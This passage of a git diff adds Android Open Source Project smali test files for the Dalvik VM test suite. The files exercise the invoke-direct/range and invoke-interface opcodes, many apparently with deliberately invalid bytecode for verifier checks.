+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_range_3.java"
+.class  public Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method private getInt()I
+.registers 3
+
+       const/16 v1, 345
+       return v1
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-direct/range {v2}, Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_3;->getInt()I
+       move-result v0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_5.smali
new file mode 100644
index 0000000..ab5fa74
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_5.smali

@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_range_5.java"
+.class  public Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method private getInt()I
+.registers 3
+
+       const/16 v1, 345
+       return v1
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-direct/range {}, Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_5;->getInt()I
+       move-result v0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_6.smali
new file mode 100644
index 0000000..6cc7a45
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_6.smali

@@ -0,0 +1,27 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_range_6.java"
+.class  public Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V    
+       invoke-direct/range {v1}, Ldot/junit/opcodes/invoke_direct_range/TSuper;->toIntPvt()V
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_7.smali
new file mode 100644
index 0000000..cf5bc55
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_7.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_range_7.java"
+.class  public Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-direct/range {v2}, Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_7;->toInt()I
+       const v0, 0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_8.smali
new file mode 100644
index 0000000..a7d04bb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_8.smali

@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_range_8.java"
+.class  public Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const/4 v1, 0
+       invoke-direct/range {v1}, Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_8;->toInt()I
+
+       move-result v0
+       return v0
+.end method
+
+
+.method private toInt()I
+.registers 1
+    const v0, 0
+    return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_1.smali
new file mode 100644
index 0000000..15c97ae
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_1.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_1.java"
+.class  public Ldot/junit/opcodes/invoke_interface/d/T_invoke_interface_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Comparable;Ljava/lang/Object;)I
+.registers 8
+
+       invoke-interface {v6, v7}, Ljava/lang/Comparable;->compareTo(Ljava/lang/Object;)I
+       move-result v0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_10.smali
new file mode 100644
index 0000000..02e5bdb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_10.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_10.java"
+.class  public Ldot/junit/opcodes/invoke_interface/d/T_invoke_interface_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Comparable;Ljava/lang/Object;)I
+.registers 8
+       const v6, 1243
+       invoke-interface {v6, v7}, Ljava/lang/Comparable;->compareTo(Ljava/lang/Object;)I
+       move-result v0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_11.smali
new file mode 100644
index 0000000..828d4b9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_11.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_11.java"
+.class  public Ldot/junit/opcodes/invoke_interface/d/T_invoke_interface_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 5
+
+       invoke-interface {v4}, Ldot/junit/opcodes/invoke_interface/ITest;->doit()V
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_12.smali
new file mode 100644
index 0000000..5c7bcbc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_12.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_12.java"
+.class  public Ldot/junit/opcodes/invoke_interface/d/T_invoke_interface_12;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ldot/junit/opcodes/invoke_interface/ITest;)V
+.registers 5
+
+       invoke-interface {v4}, Ldot/junit/opcodes/invoke_interface/ITest;->doitNative()V
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_13.smali
new file mode 100644
index 0000000..069f824
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_13.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_13.java"
+.class  public Ldot/junit/opcodes/invoke_interface/d/T_invoke_interface_13;
+.super  Ldot/junit/opcodes/invoke_interface/ITestImplAbstract;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_interface/ITestImplAbstract;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 7
+
+       invoke-interface {v6}, Ldot/junit/opcodes/invoke_interface/ITest;->doit()V
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_14.smali
new file mode 100644
index 0000000..c4d3d7f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_14.smali

@@ -0,0 +1,54 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_14.java"
+.class  public Ldot/junit/opcodes/invoke_interface/d/T_invoke_interface_14;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ldot/junit/opcodes/invoke_interface/ITest;)I
+.registers 9
+    const v1, 123
+    const v2, 345
+
+    const v4, 64
+    const v5, 2
+    invoke-interface {v8, v4, v5}, Ldot/junit/opcodes/invoke_interface/ITest;->testArgsOrder(II)I
+    move-result v4
+    const v5, 32
+    if-ne v4, v5, :Label0
+
+    const v5, 123
+    if-ne v5, v1, :Label0
+
+    const v5, 345
+    if-ne v5, v2, :Label0
+
+
+    const v0, 1
+    return v0
+
+:Label0
+    const v0, 0
+    return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_16.smali
new file mode 100644
index 0000000..a437723
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_16.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_16.java"
+.class  public Ldot/junit/opcodes/invoke_interface/d/T_invoke_interface_16;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ldot/junit/opcodes/invoke_interface/ITest;)V
+.registers 6
+
+       const/high16 v3, 1065353216
+       invoke-interface {v5, v3}, Ldot/junit/opcodes/invoke_interface/ITest;->doit(F)V
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_18.smali
new file mode 100644
index 0000000..b35bd80
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_18.smali

@@ -0,0 +1,27 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_18.java"
+.class  public Ldot/junit/opcodes/invoke_interface/d/T_invoke_interface_18;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-interface {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_2.smali
new file mode 100644
index 0000000..9b968ae
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_2.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_2.java"
+.class  public Ldot/junit/opcodes/invoke_interface/d/T_invoke_interface_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Comparable;Ljava/lang/Object;)I
+.registers 8
+
+       invoke-interface {v6, v7}, Ljava/lang/Comparable;->compareTo(Ljava/lang/Object;)I
+       move-result v0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_20.smali
new file mode 100644
index 0000000..0b15bbe
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_20.smali

@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_20.java"
+.class  public Ldot/junit/opcodes/invoke_interface/d/T_invoke_interface_20;
+.super  Ljava/lang/Object;
+
+.field public static i:I
+
+.method static constructor <clinit>()V
+.registers 2
+:Label0
+       const/4 v1, 0
+       sput v1, Ldot/junit/opcodes/invoke_interface/d/T_invoke_interface_20;->i:I
+       return-void
+.end method
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ldot/junit/opcodes/invoke_interface/ITest;)V
+.registers 5
+
+       invoke-interface {v3}, Ldot/junit/opcodes/invoke_interface/d/T_invoke_interface_20;-><clinit>()V
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_21.smali
new file mode 100644
index 0000000..54fc896
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_21.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_21.java"
+.class  public Ldot/junit/opcodes/invoke_interface/d/T_invoke_interface_21;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ldot/junit/opcodes/invoke_interface/ITest;)V
+.registers 9
+
+    const-wide v4, 64
+    invoke-interface {v8, v4, v5}, Ldot/junit/opcodes/invoke_interface/ITest;->testArgsOrder(II)I
+    return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_22.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_22.smali
new file mode 100644
index 0000000..d37aa30
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_22.smali

@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_22.java"
+.class  public Ldot/junit/opcodes/invoke_interface/d/T_invoke_interface_22;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 8
+
+       new-instance v0, Ldot/junit/opcodes/invoke_interface/ITestImpl;
+
+       invoke-interface {v0}, Ldot/junit/opcodes/invoke_interface/ITest;->doit()V
+
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_3.smali
new file mode 100644
index 0000000..053b5cc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_3.smali

@@ -0,0 +1,30 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_3.java"
+.class  public Ldot/junit/opcodes/invoke_interface/d/T_invoke_interface_3;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 5
+       const/4 v1, 0
+       invoke-interface {v1}, Ldot/junit/opcodes/invoke_interface/ITest;->doit()V
+       return-void
+.end method
\ No newline at end of file

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_5.smali
new file mode 100644
index 0000000..3f77d2f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_5.smali

@@ -0,0 +1,28 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_5.java"
+.class  public Ldot/junit/opcodes/invoke_interface/d/T_invoke_interface_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>(Ldot/junit/opcodes/invoke_interface/ITest;)V
+.registers 2
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       
+        invoke-interface {}, Ldot/junit/opcodes/invoke_interface/ITest;->doit()V
+       
+       return-void
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_7.smali
new file mode 100644
index 0000000..269cb9a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_7.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_7.java"
+.class  public Ldot/junit/opcodes/invoke_interface/d/T_invoke_interface_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ldot/junit/opcodes/invoke_interface/ITest;)V
+.registers 5
+
+       invoke-interface {v4}, Ldot/junit/opcodes/invoke_interface/ITest;->doitN()V
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_8.smali
new file mode 100644
index 0000000..3a8b70a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_8.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_8.java"
+.class  public Ldot/junit/opcodes/invoke_interface/d/T_invoke_interface_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Comparable;Ljava/lang/Object;)I
+.registers 8
+
+       invoke-interface {v8, v7}, Ljava/lang/Comparable;->compareTo(Ljava/lang/Object;)I
+       move-result v0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_9.smali
new file mode 100644
index 0000000..6c748d8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_9.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_9.java"
+.class  public Ldot/junit/opcodes/invoke_interface/d/T_invoke_interface_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Comparable;Ljava/lang/Object;)I
+.registers 8
+
+       invoke-interface {v6}, Ljava/lang/Comparable;->compareTo(Ljava/lang/Object;)I
+       move-result v0
+       return v0
+.end method
+
+

